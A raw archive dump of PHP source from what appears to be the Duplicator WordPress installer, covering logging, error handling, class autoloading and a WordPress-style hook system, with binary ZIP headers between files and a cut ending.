$indexPath = PrmMng::getInstance()->getValue(PrmMng::PARAM_PATH_NEW) . '/index.php'; $data = array( self::SCRIPT_NAME_HTTP_PARAM => $indexPath ); return self::getScriptTestUrl() . '?' . http_build_query($data); } /** * @return string url of WP back-end * @throws \Exception */ public static function getBackendUrl() { $indexPath = PrmMng::getInstance()->getValue(PrmMng::PARAM_PATH_WP_CORE_NEW) . '/wp-login.php'; $data = array( self::SCRIPT_NAME_HTTP_PARAM => $indexPath ); return self::getScriptTestUrl() . '?' . http_build_query($data); } /** * @return string test script name */ protected static function getScriptTestName() { return 'wp_test_script_' . DUPX_Security::getInstance()->getSecondaryPackageHash() . '.php'; } /** * @return string test script path * @throws \Exception */ public static function getScriptTestPath() { // use wp-content path and not root path return PrmMng::getInstance()->getValue(PrmMng::PARAM_PATH_CONTENT_NEW) . '/' . self::getScriptTestName(); } /** * @return string test script url * @throws \Exception */ public static function getScriptTestUrl() { // use wp-content path and not root path return PrmMng::getInstance()->getValue(PrmMng::PARAM_URL_CONTENT_NEW) . '/' . self::getScriptTestName(); } /** * @return string contents to be added to the test script file */ public static function getExecFileContent() { $result = file_get_contents(dirname(__FILE__) . '/tests_template.php'); $result = preg_replace('/^.*\[REMOVE LINE BY SCRIPT].*\n/m', '', $result); // remove first line with die return str_replace( array( '$_$_NOTICES_FILE_PATH_$_$', '$_$_DUPX_INIT_$_$' ), array( $GLOBALS["NOTICES_FILE_PATH"], DUPX_INIT ), $result ); } } PK �<\�n\eY Y % Utils/Tests/MessageCustomizerItem.phpnu �[��� <?php namespace Duplicator\Installer\Utils\Tests; class MessageCustomizerItem { private $checkCallback; private $applyCallback; /** * @param callable|bool $checkCallback callback or bool whether to apply customization * @param callable $applyCallback the customizations to be applied */ public function __construct($checkCallback, $applyCallback) { if (!is_bool($checkCallback) && !is_callable($checkCallback)) { throw new \Exception("check callback must be either bool or callable"); } $this->checkCallback = $checkCallback; if (!is_callable($applyCallback)) { throw new \Exception("customization callback must be callable"); } $this->applyCallback = $applyCallback; } /** * @param mixed $input necessary input to check condition * * @return bool */ public function conditionSatisfied($input) { return (is_bool($this->checkCallback) && $this->checkCallback) || call_user_func($this->checkCallback, $input); } /** * @param string $string string to be customized * @param mixed $context context about what to apply * * @return false|mixed */ public function apply($string, $context) { return call_user_func($this->applyCallback, $string, $context); } } PK �<\|��0 0 Utils/Log/Log.phpnu �[��� <?php /** * Class used to log information * * Standard: PSR-2 * * @link http://www.php-fig.org/psr/psr-2 Full Documentation * * @package SC\DUPX\Log */ namespace Duplicator\Installer\Utils\Log; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Libs\Snap\SnapIO; /** * Log * Class used to log information */ class Log { /** * Maximum length of the log on the log. * Prevents uncontrolled increase in log size. This dimension should never be reached */ const MAX_LENGTH_FWRITE = 50000; const LV_DEFAULT = 1; const LV_DETAILED = 2; const LV_DEBUG = 3; const LV_HARD_DEBUG = 4; /** * if true throw exception on error else die on error * * @var bool */ private static $thowExceptionOnError = false; /** * log level * * @var int */ private static $logLevel = self::LV_DEFAULT; /** * num of \t before log string. * * @var int */ private static $indentation = 0; /** * * @var float */ private static $microtimeStart = 0; /** * * @var callable */ private static $postprocessCallback = null; /** * @var callable */ private static $afterFatalErrorCallback = null; /** * * @var null|resource */ private static $logHandle = null; /** * set log level from param manager * * @return void */ public static function setLogLevel() { self::$logLevel = PrmMng::getInstance()->getValue(PrmMng::PARAM_LOGGING); } /** * Used to write debug info to the text log file * * @param string $msg Any text data * @param int $logging Log level * @param bool $flush if true flush file log * * @return void */ public static function info($msg, $logging = self::LV_DEFAULT, $flush = false) { if ($logging > self::$logLevel) { return; } $preLog = ''; if (self::$indentation) { $preLog .= str_repeat("\t", self::$indentation); } if (self::$logLevel >= self::LV_DETAILED) { $preLog .= sprintf('[DELTA:%10.5f] ', microtime(true) - self::$microtimeStart); } if (is_callable(self::$postprocessCallback)) { $msg = call_user_func(self::$postprocessCallback, $msg); } @fwrite(self::getFileHandle(), $preLog . $msg . "\n", self::MAX_LENGTH_FWRITE); if ($flush) { self::flush(); } } /** * * @return bool <p>Returns <b><code>true</code></b> on success or <b><code>false</code></b> on failure.</p> */ public static function clearLog() { self::close(); if (file_exists(self::getLogFilePath())) { return unlink(self::getLogFilePath()); } else { return true; } } /** * * @return string */ protected static function getLogFileName() { return 'dup-installer-log__' . \DUPX_Security::getInstance()->getSecondaryPackageHash() . '.txt'; } /** * * @return string */ public static function getLogFilePath() { return DUPX_INIT . '/' . self::getLogFileName(); } /** * * @return string */ public static function getLogFileUrl() { return DUPX_INIT_URL . '/' . self::getLogFileName() . '?now=' . $GLOBALS['NOW_TIME']; } /** * Get trace string * * @param array $callers result of debug_backtrace * @param int $fromLevel level to start * * @return string */ public static function traceToString($callers, $fromLevel = 0) { $result = ''; for ($i = $fromLevel; $i < count($callers); $i++) { $trace = $callers[$i]; if (!empty($trace['class'])) { $result .= str_pad('TRACE[' . $i . '] CLASS___: ' . $trace['class'] . $trace['type'] . $trace['function'], 45, ' '); } else { $result .= str_pad('TRACE[' . $i . '] FUNCTION: ' . $trace['function'], 45, ' '); } if (isset($trace['file'])) { $result .= ' FILE: ' . $trace['file'] . '[' . $trace['line'] . ']'; } else { $result .= ' NO FILE'; } $result .= "\n"; } return $result; } /** * Set post process callback * * @param callable $callback callback function * * @return void */ public static function setPostProcessCallback($callback) { self::$postprocessCallback = is_callable($callback) ? $callback : null; } /** * Set after fatal error callback * * @param callable $callback callback function * * @return void */ public static function setAfterFatalErrorCallback($callback) { self::$afterFatalErrorCallback = is_callable($callback) ? $callback : null; } /** * Reset time counter * * @param int $logging log level * @param boolean $fileInfo Log file info (file, line) * * @return void */ public static function resetTime($logging = self::LV_DEFAULT, $fileInfo = true) { self::$microtimeStart = microtime(true); if ($logging > self::$logLevel) { return; } $callers = debug_backtrace(); $file = $callers[0]['file']; $line = $callers[0]['line']; Log::info('LOG-TIME' . ($fileInfo ? '[' . $file . ':' . $line . ']' : '') . ' RESET TIME', $logging); } /** * Log time delta from last resetTime call * * @param string $msg message * @param int $logging log level * @param bool $fileInfo if strue write file info (file, line) * * @return void */ public static function logTime($msg = '', $logging = self::LV_DEFAULT, $fileInfo = true) { if ($logging > self::$logLevel) { return; } $callers = debug_backtrace(); $file = $callers[0]['file']; $line = $callers[0]['line']; if ($fileInfo) { Log::info( sprintf('LOG-TIME[%s:%s][DELTA:%10.5f] ', $file, $line, microtime(true) - self::$microtimeStart) . (empty($msg) ? '' : ' MESSAGE:' . $msg), $logging ); } else { Log::info(sprintf('LOG-TIME[DELTA:%10.5f] ', microtime(true) - self::$microtimeStart) . (empty($msg) ? '' : ' MESSAGE:' . $msg), $logging); } } /** * Increment indentation * * @return void */ public static function incIndent() { self::$indentation++; } /** * Decrease indentation * * @return void */ public static function decIndent() { if (self::$indentation > 0) { self::$indentation--; } } /** * Reset indentation * * @return void */ public static function resetIndent() { self::$indentation = 0; } /** * Return true if log level is >= of loggin level * * @param int $logging log level * * @return boolean */ public static function isLevel($logging) { return $logging <= self::$logLevel; } /** * Log passed object * * @param string $msg log message * @param mixed $object object to log * @param int $logging log level * * @return void */ public static function infoObject($msg, &$object, $logging = self::LV_DEFAULT) { $msg = $msg . "\n" . print_r($object, true); self::info($msg, $logging); } /** * Flush log file * * @return void */ public static function flush() { if (is_resource(self::$logHandle)) { fflush(self::$logHandle); } } /** * Close log file * * @return void */ public static function close() { if (is_null(self::$logHandle)) { return true; } if (is_resource(self::$logHandle)) { fclose(self::$logHandle); } self::$logHandle = null; return true; } /** * Get log file stream * * @return resource */ public static function getFileHandle() { if (is_resource(self::$logHandle)) { return self::$logHandle; } if (!is_writable(dirname(self::getLogFilePath()))) { throw new \Exception('Can\'t write in dup-installer folder, please check the dup-installer permission folder'); } if (file_exists(self::getLogFilePath())) { SnapIO::chmod(self::getLogFilePath(), 'u+rw'); } if ((self::$logHandle = fopen(self::getLogFilePath(), "a+")) === false) { self::$logHandle = null; throw new \Exception('Can\'t open the log file, please check the dup-installer permission folder'); } SnapIO::chmod(self::getLogFilePath(), 'u+rw'); return self::$logHandle; } /** * Log error and die or thore exception if self::$thowExceptionOnError is true * * @param string $errorMessage error message * * @return void */ public static function error($errorMessage) { $breaks = array("<br />", "<br>", "<br/>"); $spaces = array(" "); $log_msg = str_ireplace($breaks, "\r\n", $errorMessage); $log_msg = str_ireplace($spaces, " ", $log_msg); $log_msg = strip_tags($log_msg); self::info("\nINSTALLER ERROR:\n{$log_msg}\n"); if (is_callable(self::$afterFatalErrorCallback)) { call_user_func(self::$afterFatalErrorCallback); } if (self::$thowExceptionOnError) { throw new \Exception($errorMessage); } else { self::close(); die("<div class='dupx-ui-error'><hr size='1' /><b style='color:#B80000;'>INSTALL ERROR!</b><br/><pre>{$errorMessage}</pre></div>"); } } /** * Get log exception string * * @param Exception $e exception object * @param string $title log message * * @return string */ public static function getLogException($e, $title = 'EXCEPTION ERROR: ') { return $title . ' ' . $e->getMessage() . "\n" . "\tFILE:" . $e->getFile() . '[' . $e->getLIne() . "]\n" . "\tTRACE:\n" . $e->getTraceAsString(); } /** * Log exception * * @param Exception $e exception object * @param int $logging log level * @param string $title log message * * @return void */ public static function logException($e, $logging = self::LV_DEFAULT, $title = 'EXCEPTION ERROR: ') { if ($logging <= self::$logLevel) { Log::info("\n" . self::getLogException($e, $title) . "\n"); } } /** * If set true error function thorw exception instead die * * @param boolean $set enable/disable thorw exception * * @return void */ public static function setThrowExceptionOnError($set) { self::$thowExceptionOnError = (bool) $set; } /** * Get string from generic value * * @param mixed $var value * @param bool $checkCallable if true check if var is callable and display it * * @return string */ public static function v2str($var, $checkCallable = false) { if ($checkCallable && is_callable($var)) { return '(callable) ' . print_r($var, true); } switch (gettype($var)) { case "boolean": return $var ? 'true' : 'false'; case "integer": case "double": return (string) $var; case "string": return '"' . $var . '"'; case "array": case "object": return print_r($var, true); case "resource": case "resource (closed)": case "NULL": case "unknown type": default: return gettype($var); } } } PK �<\4�O O Utils/Log/LogHandler.phpnu �[��� <?php /** * Error Hadler logging * * Standard: PSR-2 * * @link http://www.php-fig.org/psr/psr-2 Full Documentation * * @package SC\DUPX\Log */ namespace Duplicator\Installer\Utils\Log; use Duplicator\Installer\Core\Bootstrap; class LogHandler { const MODE_OFF = 0; // don't write in log const MODE_LOG = 1; // write errors in log file const MODE_VAR = 2; // put php errors in $varModeLog static var const SHUTDOWN_TIMEOUT = 'tm'; const ERRNO_EXCEPTION = 1073741824; // 31 pos of bit mask /** * Set error handler * * @return void */ public static function initErrorHandler() { Bootstrap::disableBootShutdownFunction(); set_error_handler(array(__CLASS__, 'error')); register_shutdown_function(array(__CLASS__, 'shutdown')); } /** * * @var array */ private static $shutdownReturns = array( 'tm' => 'timeout' ); /** * * @var int */ private static $handlerMode = self::MODE_LOG; /** * * @var bool // print code reference and errno at end of php error line [CODE:10|FILE:test.php|LINE:100] */ private static $codeReference = true; /** * * @var bool // print prefix in php error line [PHP ERR][WARN] MSG: ..... */ private static $errPrefix = true; /** * * @var string // php errors in MODE_VAR */ private static $varModeLog = ''; /** * Error handler * * @param integer $errno Error level * @param string $errstr Error message * @param string $errfile Error file * @param integer $errline Error line * * @return void */ public static function error($errno, $errstr, $errfile, $errline) { switch (self::$handlerMode) { case self::MODE_OFF: if ($errno == E_ERROR) { $log_message = self::getMessage($errno, $errstr, $errfile, $errline); Log::error($log_message); } break; case self::MODE_VAR: self::$varModeLog .= self::getMessage($errno, $errstr, $errfile, $errline) . "\n"; break; case self::MODE_LOG: default: switch ($errno) { case E_ERROR: $log_message = self::getMessage($errno, $errstr, $errfile, $errline); Log::error($log_message); break; case E_NOTICE: case E_WARNING: default: $log_message = self::getMessage($errno, $errstr, $errfile, $errline); Log::info($log_message); break; } } } /** * Get error message from erro data * * @param int $errno error code * @param string $errstr error message * @param string $errfile file * @param int $errline line * * @return string */ private static function getMessage($errno, $errstr, $errfile, $errline) { $result = ''; if (self::$errPrefix) { $result = '[PHP ERR]' . '[' . self::errnoToString($errno) . '] MSG:'; } $result .= $errstr; if (self::$codeReference) { $result .= ' [CODE:' . $errno . '|FILE:' . $errfile . '|LINE:' . $errline . ']'; if (Log::isLevel(Log::LV_DEBUG)) { Log::info(Log::traceToString(debug_backtrace(), 1)); } } return $result; } /** * Errno code to string * * @param int $errno error code * * @return string */ public static function errnoToString($errno) { switch ($errno) { case E_PARSE: return 'E_PARSE'; case E_ERROR: return 'E_ERROR'; case E_CORE_ERROR: return 'E_CORE_ERROR'; case E_COMPILE_ERROR: return 'E_COMPILE_ERROR'; case E_USER_ERROR: return 'E_USER_ERROR'; case E_WARNING: return 'E_WARNING'; case E_USER_WARNING: return 'E_USER_WARNING'; case E_COMPILE_WARNING: return 'E_COMPILE_WARNING'; case E_NOTICE: return 'E_NOTICE'; case E_USER_NOTICE: return 'E_USER_NOTICE'; case self::ERRNO_EXCEPTION: return 'EXCEPTION'; default: break; } if (defined('E_STRICT') && $errno === E_STRICT) { return 'E_STRICT'; } if (defined('E_RECOVERABLE_ERROR') && $errno === E_RECOVERABLE_ERROR) { return 'E_RECOVERABLE_ERROR'; } if (defined('E_DEPRECATED') && $errno === E_DEPRECATED) { return 'E_DEPRECATED'; } if (defined('E_USER_DEPRECATED') && $errno === E_USER_DEPRECATED) { return 'E_USER_DEPRECATED'; } return 'E_UNKNOWN CODE: ' . $errno; } /** * if setMode is called without params set as default * * @param int $mode log mode * @param bool $errPrefix print prefix in php error line [PHP ERR][WARN] MSG: ..... * @param bool $codeReference print code reference and errno at end of php error line [CODE:10|FILE:test.php|LINE:100] * * @return void */ public static function setMode($mode = self::MODE_LOG, $errPrefix = true, $codeReference = true) { switch ($mode) { case self::MODE_OFF: case self::MODE_VAR: self::$handlerMode = $mode; break; case self::MODE_LOG: default: self::$handlerMode = self::MODE_LOG; } self::$varModeLog = ''; self::$errPrefix = $errPrefix; self::$codeReference = $codeReference; } /** * * @return string // return var log string in MODE_VAR */ public static function getVarLog() { return self::$varModeLog; } /** * * @return string // return var log string in MODE_VAR and clean var */ public static function getVarLogClean() { $result = self::$varModeLog; self::$varModeLog = ''; return $result; } /** * Set shutdown print string * * @param string $status status type * @param string $str string to print if is shouddown status * * @return void */ public static function setShutdownReturn($status, $str) { self::$shutdownReturns[$status] = $str; } /** * Shutdown handler * * @return void */ public static function shutdown() { if (($error = error_get_last())) { if (preg_match('/^Maximum execution time (?:.+) exceeded$/i', $error['message'])) { echo self::$shutdownReturns[self::SHUTDOWN_TIMEOUT]; } self::error($error['type'], $error['message'], $error['file'], $error['line']); } } } PK �<\ʂt5� � Utils/Autoloader.phpnu �[��� <?php /** * Auloader calsses * * Standard: PSR-2 * * @link http://www.php-fig.org/psr/psr-2 * * @package Duplicator * @copyright (c) 2021, Snapcreek LLC */ namespace Duplicator\Installer\Utils; final class Autoloader { const ROOT_NAMESPACE = 'Duplicator\\'; const ROOT_INSTALLER_NAMESPACE = 'Duplicator\\Installer\\'; const ROOT_ADDON_INSTALLER_NAMESPACE = 'Duplicator\\Installer\\Addons\\'; const ROOT_LIBS_NAMESPACE = 'Duplicator\\Libs\\'; protected static $nameSpacesMapping = null; /** * register autooader * * @return void */ public static function register() { spl_autoload_register(array(__CLASS__, 'load')); } /** * * @param string $className class name * * @return boolean */ public static function load($className) { // @todo remove legacy logic in autoloading when duplicator is fully converted. if (strpos($className, self::ROOT_NAMESPACE) !== 0) { return false; } if (($filepath = self::getAddonFile($className)) === false) { foreach (self::getNamespacesMapping() as $namespace => $mappedPath) { if (strpos($className, $namespace) !== 0) { continue; } $filepath = $mappedPath . str_replace('\\', '/', substr($className, strlen($namespace))) . '.php'; if (file_exists($filepath)) { include_once($filepath); return true; } } } else { if (file_exists($filepath)) { include_once($filepath); return true; } } return false; } /** * * @param string $class class name * * @return boolean|string */ protected static function getAddonFile($class) { $matches = null; if (preg_match('/^\\\\?Duplicator\\\\Installer\\\\Addons\\\\(.+?)\\\\(.+)$/', $class, $matches) !== 1) { return false; } $addonName = $matches[1]; $subClass = $matches[2]; $basePath = DUPX_INIT . '/addons/' . strtolower($addonName) . '/'; if (self::endsWith($class, $addonName) === false) { $basePath .= 'src/'; } return $basePath . str_replace('\\', '/', $subClass) . '.php'; } /** * * @staticvar [string] $mapping * @return [string] */ protected static function getNamespacesMapping() { // the order is important, it is necessary to insert the longest namespaces first return array( self::ROOT_ADDON_INSTALLER_NAMESPACE => DUPX_INIT . '/addons/', self::ROOT_INSTALLER_NAMESPACE => DUPX_INIT . '/src/', self::ROOT_LIBS_NAMESPACE => DUPX_INIT . '/libs/' ); } /** * Returns true if the $haystack string end with the $needle, only for internal use * * @param string $haystack The full string to search in * @param string $needle The string to for * * @return bool Returns true if the $haystack string starts with the $needle */ protected static function endsWith($haystack, $needle) { $length = strlen($needle); if ($length == 0) { return true; } return (substr($haystack, -$length) === $needle); } } PK �<\�M� nK nK Core/Hooks/Hook.phpnu �[��� <?php /** * Plugin API: WP_Hook class * * From wordpress WP_Hook class */ namespace Duplicator\Installer\Core\Hooks; /** * Core class used to implement action and filter hook functionality. * * @see Iterator * @see ArrayAccess */ final class Hook implements \Iterator, \ArrayAccess { /** * Hook callbacks. * * @var array */ public $callbacks = array(); /** * The priority keys of actively running iterations of a hook. * * @var array */ private $iterations = array(); /** * The current priority of actively running iterations of a hook. * * @var array */ private $currentPriority = array(); /** * Number of levels this hook can be recursively called. * * @var int */ private $nestingLevel = 0; /** * Flag for if we're current doing an action, rather than a filter. * * @var bool */ private $doingAction = false; /** * Hooks a function or method to a specific filter action. * * @param string $tag The name of the filter to hook the $function_to_add callback to. * @param callable $function_to_add The callback to be run when the filter is applied. * @param int $priority The order in which the functions associated with a particular action * are executed. Lower numbers correspond with earlier execution, * and functions with the same priority are executed in the order * in which they were added to the action. * @param int $accepted_args The number of arguments the function accepts. * * @return void */ public function addFilter($tag, $function_to_add, $priority, $accepted_args) { $idx = self::wpFilterBuildUniqueId($tag, $function_to_add, $priority); $priority_existed = isset($this->callbacks[$priority]); $this->callbacks[$priority][$idx] = array( 'function' => $function_to_add, 'accepted_args' => $accepted_args, ); // If we're adding a new priority to the list, put them back in sorted order. if (!$priority_existed && count($this->callbacks) > 1) { ksort($this->callbacks, SORT_NUMERIC); } if ($this->nestingLevel > 0) { $this->resortActiveIterations($priority, $priority_existed); } } /** * Handles resetting callback priority keys mid-iteration. * * @param false|int $new_priority Optional. The priority of the new filter being added. Default false, * for no priority being added. * @param bool $priority_existed Optional. Flag for whether the priority already existed before the new * filter was added. Default false. * * @return void */ private function resortActiveIterations($new_priority = false, $priority_existed = false) { $new_priorities = array_keys($this->callbacks); // If there are no remaining hooks, clear out all running iterations. if (!$new_priorities) { foreach ($this->iterations as $index => $iteration) { $this->iterations[$index] = $new_priorities; } return; } $min = min($new_priorities); foreach ($this->iterations as $index => &$iteration) { $current = current($iteration); // If we're already at the end of this iteration, just leave the array pointer where it is. if (false === $current) { continue; } $iteration = $new_priorities; if ($current < $min) { array_unshift($iteration, $current); continue; } while (current($iteration) < $current) { if (false === next($iteration)) { break; } } // If we have a new priority that didn't exist, but ::applyFilters() or ::doAction() thinks it's the current priority... if ($new_priority === $this->currentPriority[$index] && !$priority_existed) { /* * ...and the new priority is the same as what $this->iterations thinks is the previous * priority, we need to move back to it. */ if (false === current($iteration)) { // If we've already moved off the end of the array, go back to the last element. $prev = end($iteration); } else { // Otherwise, just go back to the previous element. $prev = prev($iteration); } if (false === $prev) { // Start of the array. Reset, and go about our day. reset($iteration); } elseif ($new_priority !== $prev) { // Previous wasn't the same. Move forward again. next($iteration); } } } unset($iteration); } /** * Unhooks a function or method from a specific filter action. * * @param string $tag The filter hook to which the function to be removed is hooked. * @param callable $function_to_remove The callback to be removed from running when the filter is applied. * @param int $priority The exact priority used when adding the original filter callback. * * @return bool Whether the callback existed before it was removed. */ public function removeFilter($tag, $function_to_remove, $priority) { $function_key = self::wpFilterBuildUniqueId($tag, $function_to_remove, $priority); $exists = isset($this->callbacks[$priority][$function_key]); if ($exists) { unset($this->callbacks[$priority][$function_key]); if (!$this->callbacks[$priority]) { unset($this->callbacks[$priority]); if ($this->nestingLevel > 0) { $this->resortActiveIterations(); } } } return $exists; } /** * Checks if a specific action has been registered for this hook. * * When using the `$function_to_check` argument, this function may return a non-boolean value * that evaluates to false (e.g. 0), so use the `===` operator for testing the return value. * * @param string $tag Optional. The name of the filter hook. Default empty. * @param callable|false $function_to_check Optional. The callback to check for. Default false. * * @return bool|int If `$function_to_check` is omitted, returns boolean for whether the hook has * anything registered. When checking a specific function, the priority of that * hook is returned, or false if the function is not attached. */ public function hasFilter($tag = '', $function_to_check = false) { if (false === $function_to_check) { return $this->hasFilters(); } $function_key = self::wpFilterBuildUniqueId($tag, $function_to_check, false); if (!$function_key) { return false; } foreach ($this->callbacks as $priority => $callbacks) { if (isset($callbacks[$function_key])) { return $priority; } } return false; } /** * Checks if any callbacks have been registered for this hook. * * @return bool True if callbacks have been registered for the current hook, otherwise false. */ public function hasFilters() { foreach ($this->callbacks as $callbacks) { if ($callbacks) { return true; } } return false; } /** * Removes all callbacks from the current filter. * * @param int|false $priority Optional. The priority number to remove. Default false. * * @return void */ public function removeAllFilters($priority = false) { if (!$this->callbacks) { return; } if (false === $priority) { $this->callbacks = array(); } elseif (isset($this->callbacks[$priority])) { unset($this->callbacks[$priority]); } if ($this->nestingLevel > 0) { $this->resortActiveIterations(); } } /** * Calls the callback functions that have been added to a filter hook. * * @param mixed $value The value to filter. * @param array $args Additional parameters to pass to the callback functions. * This array is expected to include $value at index 0. * * @return mixed The filtered value after all hooked functions are applied to it. */ public function applyFilters($value, $args) { if (!$this->callbacks) { return $value; } $nestingLevel = $this->nestingLevel++; $this->iterations[$nestingLevel] = array_keys($this->callbacks); $num_args = count($args); do { $this->currentPriority[$nestingLevel] = current($this->iterations[$nestingLevel]); $priority = $this->currentPriority[$nestingLevel]; foreach ($this->callbacks[$priority] as $the_) { if (!$this->doingAction) { $args[0] = $value; } // Avoid the array_slice() if possible. if (0 == $the_['accepted_args']) { $value = call_user_func($the_['function']); } elseif ($the_['accepted_args'] >= $num_args) { $value = call_user_func_array($the_['function'], $args); } else { $value = call_user_func_array($the_['function'], array_slice($args, 0, (int) $the_['accepted_args'])); } } } while (false !== next($this->iterations[$nestingLevel])); unset($this->iterations[$nestingLevel]); unset($this->currentPriority[$nestingLevel]); $this->nestingLevel--; return $value; } /** * Calls the callback functions that have been added to an action hook. * * @param array $args Parameters to pass to the callback functions. * * @return void */ public function doAction($args) { $this->doingAction = true; $this->applyFilters('', $args); // If there are recursive calls to the current action, we haven't finished it until we get to the last one. if (!$this->nestingLevel) { $this->doingAction = false; } } /** * Processes the functions hooked into the 'all' hook. * * @param array $args Arguments to pass to the hook callbacks. Passed by reference. * * @return void */ public function doAllHook(&$args) { $nestingLevel = $this->nestingLevel++; $this->iterations[$nestingLevel] = array_keys($this->callbacks); do { $priority = current($this->iterations[$nestingLevel]); foreach ($this->callbacks[$priority] as $the_) { call_user_func_array($the_['function'], $args); } } while (false !== next($this->iterations[$nestingLevel])); unset($this->iterations[$nestingLevel]); $this->nestingLevel--; } /** * Return the current priority level of the currently running iteration of the hook. * * @return int|false If the hook is running, return the current priority level. If it isn't running, return false. */ public function currentPriority() { if (false === current($this->iterations)) { return false; } return current(current($this->iterations)); } /** * Normalizes filters set up before WordPress has initialized to Hook objects. * * The `$filters` parameter should be an array keyed by hook name, with values * containing either: * * - A `Hook` instance * - An array of callbacks keyed by their priorities * * Examples: * * $filters = array( * 'wp_fatal_error_handler_enabled' => array( * 10 => array( * array( * 'accepted_args' => 0, * 'function' => function() { * return false; * }, * ), * ), * ), * ); * * @param array $filters Filters to normalize. See documentation above for details. * * @return WP_Hook[] Array of normalized filters. */ public static function buildPreinitializedHooks($filters) { /** @var WP_Hook[] $normalized */ $normalized = array(); foreach ($filters as $tag => $callback_groups) { if (is_object($callback_groups) && $callback_groups instanceof self) { $normalized[$tag] = $callback_groups; continue; } $hook = new self(); // Loop through callback groups. foreach ($callback_groups as $priority => $callbacks) { // Loop through callbacks. foreach ($callbacks as $cb) { $hook->addFilter($tag, $cb['function'], $priority, $cb['accepted_args']); } } $normalized[$tag] = $hook; } return $normalized; } /** * Determines whether an offset value exists. * * @link https://www.php.net/manual/en/arrayaccess.offsetexists.php * * @param mixed $offset An offset to check for. * * @return bool True if the offset exists, false otherwise. */ #[\ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->callbacks[$offset]); } /** * Retrieves a value at a specified offset. * * @link https://www.php.net/manual/en/arrayaccess.offsetget.php * * @param mixed $offset The offset to retrieve. * * @return mixed If set, the value at the specified offset, null otherwise. */ #[\ReturnTypeWillChange] public function offsetGet($offset) { return isset($this->callbacks[$offset]) ? $this->callbacks[$offset] : null; } /** * Sets a value at a specified offset. * * @link https://www.php.net/manual/en/arrayaccess.offsetset.php * * @param mixed $offset The offset to assign the value to. * @param mixed $value The value to set. * * @return void */ #[\ReturnTypeWillChange] public function offsetSet($offset, $value) { if (is_null($offset)) { $this->callbacks[] = $value; } else { $this->callbacks[$offset] = $value; } } /** * Unsets a specified offset. * * @link https://www.php.net/manual/en/arrayaccess.offsetunset.php * * @param mixed $offset The offset to unset. * * @return void */ #[\ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->callbacks[$offset]); } /** * Returns the current element. * * @link https://www.php.net/manual/en/iterator.current.php * * @return array Of callbacks at current priority. */ #[\ReturnTypeWillChange] public function current() { return current($this->callbacks); } /** * Moves forward to the next element. * * @link https://www.php.net/manual/en/iterator.next.php * * @return array Of callbacks at next priority. */ #[\ReturnTypeWillChange] public function next() { return next($this->callbacks); } /** * Returns the key of the current element. * * @link https://www.php.net/manual/en/iterator.key.php * * @return mixed Returns current priority on success, or NULL on failure */ #[\ReturnTypeWillChange] public function key() { return key($this->callbacks); } /** * Checks if current position is valid. * * @link https://www.php.net/manual/en/iterator.valid.php * * @return bool Whether the current position is valid. */ #[\ReturnTypeWillChange] public function valid() { return key($this->callbacks) !== null; } /** * Rewinds the Iterator to the first element. * * @link https://www.php.net/manual/en/iterator.rewind.php * * @return void */ #[\ReturnTypeWillChange] public function rewind() { reset($this->callbacks); } /** * Build Unique ID for storage and retrieval. * * The old way to serialize the callback caused issues and this function is the * solution. It works by checking for objects and creating a new property in * the class to keep track of the object and new objects of the same class that * need to be added. * * It also allows for the removal of actions and filters for objects after they * change class properties. It is possible to include the property $wp_filter_id * in your class and set it to "null" or a number to bypass the workaround. * However this will prevent you from adding new classes and any new classes * will overwrite the previous hook by the same class. * * Functions and static method callbacks are just returned as strings and * shouldn't have any speed penalty. * * @link https://core.trac.wordpress.org/ticket/3875 * * @since 2.2.3 * @since 5.3.0 Removed workarounds for spl_object_hash(). * `$tag` and `$priority` are no longer used, * and the function always returns a string. * @access private * * @param string $tag Unused. The name of the filter to build ID for. * @param callable $function The function to generate ID for. * @param int $priority Unused. The order in which the functions * associated with a particular action are executed. * * @return string Unique function ID for usage as array key. */ protected static function wpFilterBuildUniqueId($tag, $function, $priority) { if (is_string($function)) { return $function; } if (is_object($function)) { // Closures are currently implemented as objects. $function = array($function, ''); } else { $function = (array) $function; } if (is_object($function[0])) { // Object class calling. return spl_object_hash($function[0]) . $function[1]; } elseif (is_string($function[0])) { // Static calling. return $function[0] . '::' . $function[1]; } } } PK �<\6O=B B Core/Hooks/HooksMng.phpnu �[��� <?php /** * Installer Hooks Manager * * @package Duplicator * @copyright (c) 2021, Snapcreek LLC */ namespace Duplicator\Installer\Core\Hooks; final class HooksMng { /** * * @var self */ private static $instance = null; /** * * @var Hook[] */ private $filters = array(); /** * * @var Hook[] */ private $actions = array(); /** * * @var string[] */ private $currentFilter = array(); /** * * @return self */ public static function getInstance() { if (is_null(self::$instance)) { self::$instance = new self(); } return self::$instance; } /** * init params and load */ private function __construct() { } /** * Hook a function or method to a specific filter action. * * WordPress offers filter hooks to allow plugins to modify * various types of internal data at runtime. * * A plugin can modify data by binding a callback to a filter hook. When the filter * is later applied, each bound callback is run in order of priority, and given * the opportunity to modify a value by returning a new value. * * The following example shows how a callback function is bound to a filter hook. * * Note that `$example` is passed to the callback, (maybe) modified, then returned: * * function example_callback( $example ) { * // Maybe modify $example in some way. * return $example; * } * add_filter( 'example_filter', 'example_callback' ); * * Bound callbacks can accept from none to the total number of arguments passed as parameters * in the corresponding applyFilters() call. * * In other words, if an applyFilters() call passes four total arguments, callbacks bound to * it can accept none (the same as 1) of the arguments or up to four. The important part is that * the `$accepted_args` value must reflect the number of arguments the bound callback *actually* * opted to accept. If no arguments were accepted by the callback that is considered to be the * same as accepting 1 argument. For example: * * // Filter call. * $value = applyFilters( 'hook', $value, $arg2, $arg3 ); * * // Accepting zero/one arguments. * function example_callback() { * ... * return 'some value'; * } * add_filter( 'hook', 'example_callback' ); // Where $priority is default 10, $accepted_args is default 1. * * // Accepting two arguments (three possible). * function example_callback( $value, $arg2 ) { * ... * return $maybe_modified_value; * } * add_filter( 'hook', 'example_callback', 10, 2 ); // Where $priority is 10, $accepted_args is 2. * * *Note:* The function will return true whether or not the callback is valid. * It is up to you to take care. This is done for optimization purposes, so * everything is as quick as possible. * * @param string $tag The name of the filter to hook the $function_to_add callback to. * @param callable $function_to_add The callback to be run when the filter is applied. * @param int $priority Optional. Used to specify the order in which the functions * associated with a particular action are executed. * Lower numbers correspond with earlier execution, * and functions with the same priority are executed * in the order in which they were added to the action. Default 10. * @param int $accepted_args Optional. The number of arguments the function accepts. Default 1. * * @return true */ public function addFilter($tag, $function_to_add, $priority = 10, $accepted_args = 1) { if (!isset($this->filters[$tag])) { $this->filters[$tag] = new Hook(); } 